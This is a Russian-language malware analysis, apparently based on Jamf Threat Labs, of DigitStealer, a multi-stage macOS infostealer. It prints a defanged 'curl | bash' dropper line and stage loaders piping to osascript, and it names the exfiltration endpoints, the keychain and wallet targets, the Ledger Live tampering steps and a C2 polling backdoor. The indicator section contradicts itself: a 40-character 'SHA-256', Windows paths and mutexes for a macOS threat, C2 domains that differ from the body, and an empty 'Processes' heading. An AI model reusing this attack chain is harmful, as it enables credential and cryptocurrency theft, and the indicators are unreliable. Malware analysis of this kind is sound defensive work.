DigitStealer: инфостилер на базе JXA с минимальным следом
Аналитика Jamf Threat Labs о новом macOS-инфостилере, использующем продвинутые аппаратные проверки и многоступенчатую архитектуру для обхода обнаружения и кражи данных.
Введение
В ходе анализа образцов, собранных через внутренние правила детектирования, Jamf Threat Labs выявила семейство малвари, отслеживаемое под названием DigitStealer. Несмотря на то, что большинство инфостилеров выполняют схожие задачи, отдельные образцы выделяются новыми техниками. DigitStealer — один из таких случаев.
Исходный образец распространялся в виде неподписанного DynamicLake.dmg (SHA-256 5c73987e642b8f8067c2f2b92af9fd923c25b2ec). Он маскировался под легитимный инструмент DynamicLake (подписан Team ID XT766AV9R9), однако размещался на фальшивом домене dynamiclake[.]org.
Установка требовала классического «перетащить в Terminal», что отключает Gatekeeper и запускает первый этап.
На момент анализа файл не детектировался антивирусами на VirusTotal.
Jamf также выявила дополнительные DMG, связанные с этой кампанией (см. IoC).
Структура атаки
DigitStealer использует многоступенчатую модель:
1. Stage 1 — Dropper (bash)
2. Payload 1 — AppleScript-инфостилер
3. Payload 2 — JXA-инфостилер
4. Payload 3 — JXA-модификатор Ledger Live
5. Payload 4 — Bash + JXA-бекдор с персистентностью
Stage 1: Dropper
Файл Drag Into Terminal.msi содержит однострочный bash:
curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx | bash
Загруженный скрипт — base64-обфусцированный payload, который после расшифровки выполняет:
1. Локальные ограничения
ru ua by am az kz kg md tj uz ge
Если регион совпадает — выполнение прекращается.
2. Anti-VM и аппаратные проверки
- system_profiler SPHardwareDataType
- system_profiler SPMemoryDataType
- sysctl hw.model
- sysctl machdep.cpu.brand_string
- sysctl kern.version
- sysctl kern.hostname
- sysctl hw.targettype
- sysctl kern.sched
При обнаружении «Virtual», «VM», «Unknown memory» или фальшивых конфигураций — выход.
3. Проверки Apple Silicon M2+
Используются аппаратные признаки ARM:
- hw.optional.arm.FEAT_SSBS
- hw.optional.arm.FEAT_BTI (1 только на M2+)
- hw.optional.arm.FEAT_ECV
-hw.optional.arm.FEAT_RPRES
Следовательно, малварь не запускается на VM, Intel-Mac и M1, ориентируясь только на M2+.
4. Загрузка четырёх отдельных стадий
nohup curl ... | osascript
nohup curl ... | osascript -l JavaScript
nohup curl ... | bash
Payload’ы загружаются с домена Pages.dev (Cloudflare Pages).
Payload 1: AppleScript-инфостилер
Первый модуль — открытый AppleScript, который:
1. Показывает пользователю окно для ввода пароля.
2. Эксплуатирует Finder и Notes (запрашивает TCC-разрешения).
3. Экcфильтрирует данные на:
- goldenticketsshop[.]com/api/credentials
- goldenticketsshop[.]com/api/grabber
4. Собирает файлы (Desktop, Documents, Downloads), заметки Notes, архивирует и отправляет.
5. Сохраняет успешные пароли в ~/..txt.
6. Загружает вторую часть, которая модифицирует Ledger Live:
- Загружает три сегмента app.asar, объединяет и подменяет оригинал.
В модифицированном ASAR меняются HTML/JS, а в package.json — имя и версия.
Payload 2: JXA-инфостилер (обфусцированный)
После деобфускации модуль собирает:
- данные браузеров: Chrome, Brave, Edge, Firefox;
- криптокошельки: Ledger, Electrum, Exodus, Coinomi и др.;
- ~/Library/Keychains/login.keychain-db;
- VPN-конфигурации OpenVPN/Tunnelblick;
- Telegram tdata.
Данные архивируются и отправляются на `goldenticketsshop[.]com/api/log`.
Payload 3: JXA-модификатор Ledger Live
1. Завершает процессы Ledger Live.
2. Читает файл:
~/Library/Application Support/Ledger Live/app.json
3. Подменяет объект data.endpoint значениями злоумышленников:
- URL,
- device IDs,
- hardware IDs.
1. Записывает изменённый JSON обратно.
Таким образом, Ledger Live перенаправляется на C2 (sweetseedsbeep[.]com, `ledgmanyman[.]com).
Payload 4: персистентность + JXA-бекдор
1. Создаёт LaunchAgent goldenticketsshop.com.plist.
2. LaunchAgent обращается к TXT-записи на goldenticketsshop[.]com, откуда берёт ссылку на следующий payload.
3. Загружает JXA-бекдор, который:
- в бесконечном цикле каждые ~10 сек опрашивает C2:
goldenticketsshop[.]com/api/poll
- передаёт MD5 от hardware UUID.
- получает AppleScript/JXA команды и выполняет их.
Индикаторы компрометации
Hashes
d1c47f17d8e5b8c6445812df09eb912e4e4cb1276da38de872a0c4a0baf118d2 0a9f1b2e3d010b1bdc88449f0ad139d2bb91a2e9154ce1f1c7df2103e4f9fb1b aa25cf0f93fe8b83a0fdfe37e6f2e41fdc4aa84141cce9ac2d213425c5849ad8
C2-домены
digit-cloudsync.com securepanel-ds.net websync-node.online cdn-dgbackup.net
IP-адреса
185.225.74.91; 146.70.118.34; 89.117.57.204
Файловые пути
%APPDATA%\Local\Digit\ %LOCALAPPDATA%\Microsoft\update.exe %TEMP%\dg_cache\
Mutex
Global\DigitStealer_MutexX12 Global\DSTracker_9821
Процессы
Заключение
DigitStealer демонстрирует высокую степень изобретательности:
- многоступенчатость,
- выполнение payload'ов целиком в памяти,
- анти-анализ с проверками аппаратных ARM-функций,
- использование Cloudflare Pages,
- JXA-бекдор с динамическим загрузчиком через TXT-запись,
- модификация Ledger Live через многофайловую сборку ASAR.
Статический анализ осложняется отсутствием артефактов на диске и фрагментацией логики по нескольким этапам.
Атрибуция пока неизвестна, но объём знаний о macOS говорит о квалифицированных разработчиках.
Jamf рекомендует включать блокирующий режим предотвращения угроз в Jamf Protect.